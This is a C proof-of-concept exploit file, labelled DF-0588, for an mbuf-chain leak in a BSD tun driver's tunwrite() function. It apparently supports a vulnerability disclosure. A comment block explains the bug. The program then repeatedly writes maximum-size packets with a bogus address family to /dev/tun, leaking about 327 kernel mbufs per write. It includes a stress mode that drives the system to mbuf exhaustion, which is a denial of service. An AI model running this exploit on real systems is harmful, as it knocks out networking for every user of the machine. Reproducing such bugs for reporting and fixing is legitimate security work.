DF-0588 / tun_leak.c
/* * tun_leak.c — reproduce the mbuf-chain leak in tunwrite() (DF-0588) * * Bug: tunwrite() at sys/net/tun/if_tun.c:844 builds an mbuf chain in the * loop at lines 875-882. The MGET at line 880-881 is only taken when * MORE data remains, so after the loop the local `m` points at the * LAST (tail) mbuf of the chain whose head is `top`. When TUN_IFHEAD is * set and the user-supplied 4-byte address family is anything other than * AF_INET / AF_INET6, the default case at lines 952-955 calls * m_freem(m); <-- frees only the TAIL * return (EAFNOSUPPORT); * freeing only the trailing mbuf and LEAKING the chain head `top` plus * all intermediate mbufs (~327 per 65539-byte write). Resource- * exhaustion DoS: repeat to drain the mbuf zone system-wide. * * Privilege: tunopen() (if_tun.c:283) requires caps_priv_check(SYSCAP_RESTRICTEDROOT) * and /dev/tun is 0600 uucp:dialer -> host ROOT only (PR:H, matches CVSS). * * Build: cc -O2 -o tun_leak tun_leak.c (guest has no <net/if_tun.h>; vendored) * Run: ./tun_leak [num_writes] (default 50 -> ~16k leaked mbufs, safe demo) * ./tun_leak 1000000 (stress: drive to mbuf exhaustion) * * Observe with, in another shell: * netstat -m ; sysctl net.stat.mbuf */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <errno.h> #include <stdlib.h> /* Vendored from sys/net/tun/if_tun.h (not shipped in guest /usr/include). */ #define TUNMRU 65535 #define TUNSIFHEAD _IOW('t', 96, int) /* AF value that is neither AF_INET(2) nor AF_INET6(28) -> default case. * The kernel reads the first 4 bytes and applies ntohl (if_tun.c:932), so we * stash a 4-byte big-endian-ish marker; ntohl(0xffffffff) is still 0xffffffff. */ static unsigned char BUF[TUNMRU + 4]; /* +4 for the IFHEAD family prefix */ int main(int argc, char **argv) { unsigned long n_writes = (argc > 1) ? strtoul(argv[1], NULL, 10) : 50; unsigned long i; int fd, one = 1; ssize_t n; fd = open("/dev/tun", O_RDWR); /* clone device -> fresh tunN */ if (fd < 0) { perror("open /dev/tun"); fprintf(stderr, "(needs host root; /dev/tun is 0600 uucp:dialer, " "tunopen requires SYSCAP_RESTRICTEDROOT)\n"); return 2; } fprintf(stderr, "[*] opened /dev/tun (fd=%d)\n", fd); if (ioctl(fd, TUNSIFHEAD, &one) < 0) { perror("TUNSIFHEAD"); return 2; } fprintf(stderr, "[*] TUN_IFHEAD set\n"); /* Build a max-size write: 4-byte bogus family + payload. Each write() * that hits the default case leaks ~327 mbufs (chain head + intermediates) * and returns EAFNOSUPPORT. */ memset(BUF, 0x41, sizeof(BUF)); BUF[0] = BUF[1] = BUF[2] = BUF[3] = 0xff; /* family != AF_INET/AF_INET6 */ fprintf(stderr, "[*] leaking %lu x %zu-byte writes " "(~%lu mbufs/write expected) ...\n", n_writes, sizeof(BUF), (unsigned long)(sizeof(BUF) / 200)); /* rough MHLEN estimate */ for (i = 0; i < n_writes; i++) { n = write(fd, BUF, sizeof(BUF)); if (n < 0) { if (errno == EAFNOSUPPORT) { /* expected: the leak already happened before this return */ } else if (errno == ENOBUFS || errno == ENOMEM) { fprintf(stderr, "[!] write %lu: %s (mbuf zone exhausted)\n", i, strerror(errno)); break; } else { fprintf(stderr, "[!] write %lu: %s\n", i, strerror(errno)); /* keep going for non-fatal errors */ } } if ((i % ((n_writes > 20) ? (n_writes / 20) : 1)) == 0 || i < 5) fprintf(stderr, "[*] writes=%lu\n", i); } fprintf(stderr, "[+] done: %lu writes issued\n", i); close(fd); return 0; } |